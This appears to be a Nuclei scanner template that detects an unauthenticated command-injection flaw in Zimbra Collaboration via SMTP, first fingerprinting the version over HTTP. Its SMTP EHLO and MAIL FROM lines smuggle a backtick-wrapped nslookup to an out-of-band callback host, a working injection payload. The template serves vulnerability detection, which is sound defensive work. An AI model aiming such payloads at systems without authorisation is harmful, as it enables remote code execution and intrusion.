id: CVE-2026-73570

info:
  name: "Zimbra Collaboration - Command Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    A remote code execution vulnerability exists in Zimbra Collaboration (ZCS) before 10.1.20 when the optional
    zimbra-snmp package is installed and SNMP notifications are enabled. Due to improper sanitization of untrusted
    input during SNMP notification processing, an unauthenticated attacker can send specially crafted SMTP
    requests that may result in execution of arbitrary operating system commands as the Zimbra user.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-73570&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=zimbra&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
    cvss-score: 8.9
    cve-id: CVE-2026-73570
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2026,zimbra,rce,oast,kev,smtp,snmp,network,vkev
flow: http(1) && tcp(1)

http:
  - raw:
      - |
        GET /js/zimbraMail/share/model/ZmSettings.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Zimbra Collaboration Suite Web Client")'
          - 'compare_versions(version, "< 10.1.20")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - 'CLIENT_VERSION[^"]*defaultValue[^"]*"(\d+\.\d+\.\d+)'
          - '"(\d+\.\d+\.\d+)_GA'
        internal: true

tcp:
  - host:
      - "{{Host}}:25"

    inputs:
      - data: ""
        read: 512
      - data: "EHLO `nslookup {{interactsh-url}}`\r\n"
        read: 512
      - data: "MAIL FROM:<zimbra@`nslookup {{interactsh-url}}`>\r\n"
        read: 512
      - data: "RCPT TO:<postmaster@localhost>\r\n"
        read: 512
      - data: "QUIT\r\n"
        read: 64

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"